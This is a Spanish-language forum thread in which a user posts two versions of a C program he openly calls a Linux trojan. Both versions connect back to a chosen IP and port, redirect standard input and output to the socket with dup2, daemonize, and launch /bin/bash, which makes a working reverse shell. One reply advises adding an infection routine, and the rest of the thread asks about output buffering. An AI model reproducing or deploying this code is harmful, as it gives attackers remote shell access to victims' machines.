elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [C] Linux Trojan & dup2 ()
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [C] Linux Trojan & dup2 ()  (Leído 4,214 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
[C] Linux Trojan & dup2 ()
« en: 18 Diciembre 2010, 15:55 pm »

Terminado y corregido... El problema era que se me olvido cerrar los descriptores estandar...
Corrigiendo code...
Recuerdo que no esta terminado. Posteen mejoras, etc..

Código
  1. #include <time.h>
  2.  
  3. #include <stdio.h>
  4.  
  5. #include <stdlib.h>
  6.  
  7. #include <string.h>
  8.  
  9. #include <sys/socket.h>
  10.  
  11. #include <arpa/inet.h>
  12.  
  13.  
  14.  
  15. struct sockaddr_in host;
  16.  
  17. int sockfd;
  18.  
  19.  
  20.  
  21. int execsock (int socket, char program [])
  22.  
  23. {
  24.  
  25. close(0);
  26.  
  27. close(1);
  28.  
  29. close(2);
  30.  
  31.  
  32.  
  33. dup2(socket, 0);
  34.  
  35. dup2(socket, 1);
  36.  
  37. dup2(socket, 2);
  38.  
  39.  
  40.  
  41. execve(program, NULL, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. int main (int argc, char *argv [])
  50.  
  51. {
  52.  
  53. time_t now=time (0);
  54.  
  55. struct tm *ahora;
  56.  
  57. char hora [40];
  58.  
  59. ahora=localtime ((const time_t*)&now);
  60.  
  61. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  62.  
  63. printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora);
  64.  
  65.  
  66.  
  67. if (argc == 3)
  68.  
  69. {
  70.  
  71. host.sin_addr.s_addr = inet_addr (argv [1]);
  72.  
  73. host.sin_port = htons (atoi (argv [2]));
  74.  
  75. host.sin_family = AF_INET;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79. }
  80.  
  81. else
  82.  
  83. {
  84.  
  85. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  86.  
  87. host.sin_port = htons (31337);
  88.  
  89. host.sin_family = AF_INET;
  90.  
  91. memset (host.sin_zero, 0, 8);
  92.  
  93. }
  94.  
  95.  
  96.  
  97. printf ("Iniciando...\t");
  98.  
  99. sockfd = socket (2, 1, 0);
  100.  
  101. if (sockfd != -1)
  102. {
  103.  
  104. printf ("[OK]\nConectando...\t\a");
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. printf ("[FAIL]\n\n");
  112.  
  113. return 1;
  114.  
  115. }
  116.  
  117.  
  118. while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
  119. sleep (1);
  120.  
  121. printf ("[OK]\nLanzando sell...\t[OK]");
  122. daemon (1, 0);
  123.  
  124. execsock (sockfd, "/bin/bash");
  125.  
  126. close (sockfd);
  127.  
  128. return 0;
  129.  
  130. }
  131.  
  132.  

Ahora, el problema esta en que al compilar y correr, no me escribe correctamente lo que le digo: Atencion aqui:
Código
  1. printf ("[OK]\nConectando...\t\a");
Linea sencilla no? Pues no me postea lo de "Conectando" hasta que alguien no se conecta, o sea, la sigiente liena...


« Última modificación: 19 Diciembre 2010, 15:57 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Chuckporris

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Re: [C] Linux Trojan & dup2 ()
« Respuesta #1 en: 18 Diciembre 2010, 16:10 pm »

No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.


En línea

pucheto

Desconectado Desconectado

Mensajes: 215


Ver Perfil
Re: [C] Linux Trojan & dup2 ()
« Respuesta #2 en: 18 Diciembre 2010, 16:12 pm »

No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.
Equivocado, si se puede... el tema es q le tenes q dar permisos.
En línea

braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [C] Linux Trojan & dup2 ()
« Respuesta #3 en: 18 Diciembre 2010, 16:34 pm »

No tengo mucha idea sobre esto,pero creo qe en linux es IMPOSIBLE CREAR UN TROYANO.
Pero bueno..suerte.

Para nada es imposible crear un troyano, de hecho yo hice hace tiempo uno.

Si quieres un consejo te recomiendo que si vas a hacer un gran troyano hagas un código mucho más ordenado que te permita añadirle nuevas features fácilmente. También te falta una rutina de infección que no es difícil de hacer en linux.

Suerte.
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [C] Linux Trojan & dup2 ()
« Respuesta #4 en: 18 Diciembre 2010, 17:32 pm »

Viendo que se puede... Gracias por los consejos, ahora me pongo...
PD: Ahora modifico con el code...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
braulio--
Wiki

Desconectado Desconectado

Mensajes: 896


Imagen recursiva


Ver Perfil WWW
Re: [C] Linux Trojan & dup2 ()
« Respuesta #5 en: 18 Diciembre 2010, 19:58 pm »

Se me olvidaba decirte ... el nombre lynx ya está cogido. Es un navegador por consola para linux.
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [C] Linux Trojan & dup2 ()
« Respuesta #6 en: 19 Diciembre 2010, 14:57 pm »

Finish! Bueno, no del todo, version 0.2 xD:
Código
  1. #include <time.h>
  2.  
  3. #include <stdio.h>
  4.  
  5. #include <stdlib.h>
  6.  
  7. #include <string.h>
  8.  
  9. #include <sys/socket.h>
  10.  
  11. #include <arpa/inet.h>
  12.  
  13.  
  14.  
  15. struct sockaddr_in host;
  16.  
  17. int sockfd;
  18.  
  19.  
  20.  
  21. int sell ()
  22.  
  23. {
  24.  
  25. close(0);
  26.  
  27. close(1);
  28.  
  29. close(2);
  30.  
  31.  
  32.  
  33. dup2(sockfd, 0);
  34.  
  35. dup2(sockfd, 1);
  36.  
  37. dup2(sockfd, 2);
  38.  
  39.  
  40.  
  41. execve("/bin/bash", NULL, NULL);
  42.  
  43. return 0;
  44.  
  45. }
  46.  
  47.  
  48.  
  49. int main (int argc, char *argv [])
  50.  
  51. {
  52.  
  53. time_t now=time (0);
  54.  
  55. struct tm *ahora;
  56.  
  57. char hora [40];
  58.  
  59. ahora=localtime ((const time_t*)&now);
  60.  
  61. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  62.  
  63. printf ("Linx 1.0 - By Sagrini (2010) - %s\n", hora); //Esto escribira la presentacion.
  64.  
  65.  
  66.  
  67. if (argc == 3)
  68.  
  69. {
  70.  
  71. host.sin_addr.s_addr = inet_addr (argv [1]);
  72.  
  73. host.sin_port = htons (atoi (argv [2]));
  74.  
  75. host.sin_family = AF_INET;
  76.  
  77. memset (host.sin_zero, 0, 8);
  78.  
  79. }
  80.  
  81. else
  82.  
  83. {
  84.  
  85. host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
  86.  
  87. host.sin_port = htons (31337);
  88.  
  89. host.sin_family = AF_INET;
  90.  
  91. memset (host.sin_zero, 0, 8);
  92.  
  93. }
  94.  
  95.  
  96.  
  97. printf ("Iniciando...\t");
  98.  
  99. sockfd = socket (2, 1, 0);
  100.  
  101. if (sockfd != -1)
  102. {
  103.  
  104. printf ("[OK]\n");
  105. }
  106.  
  107. else
  108.  
  109. {
  110.  
  111. printf ("[FAIL]\n\n");
  112.  
  113. return 1;
  114.  
  115. }
  116.  
  117.  
  118.  
  119. printf ("Conectando...\t");
  120.  
  121. while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr)) == -1)
  122. sleep (1);
  123.  
  124.  
  125. printf ("[OK]\n");
  126.  
  127. daemon (1, 0);
  128.  
  129.  
  130.  
  131. printf ("Lanzando sell...\t");
  132.  
  133. if (sell ()==-1)
  134.  
  135. {
  136.  
  137. close (sockfd);
  138.  
  139. printf ("[FAIL]\n\n");
  140.  
  141. return 1;
  142.  
  143. }
  144.  
  145. printf ("[OK]\n");
  146.  
  147. close (sockfd);
  148.  
  149. return 0;
  150.  
  151. }
  152.  
  153.  

Ahora lo que falla es que "Conectando..." no se escribe hasta que no se conecta...Como lo puedo arreglar?

Me podrian ayudar
« Última modificación: 19 Diciembre 2010, 15:33 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
dUP2 Diablo's Universal Patcher v2.17 By ShaDDy (TUTORIAL)
Ingeniería Inversa
Shaddy 5 7,514 Último mensaje 25 Marzo 2011, 02:17 am
por apuromafo CLS
Dup2 2.17 donde lo descargo?
Ingeniería Inversa
<housedir> 6 5,684 Último mensaje 29 Abril 2009, 10:36 am
por Shaddy
Traducción dup2 a español beta
Ingeniería Inversa
yako-_- 7 4,731 Último mensaje 23 Mayo 2013, 02:11 am
por apuromafo CLS
DUP2 parche indetectable
Ingeniería Inversa
K3NS4N 1 4,380 Último mensaje 13 Julio 2021, 18:37 pm
por apuromafo CLS
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines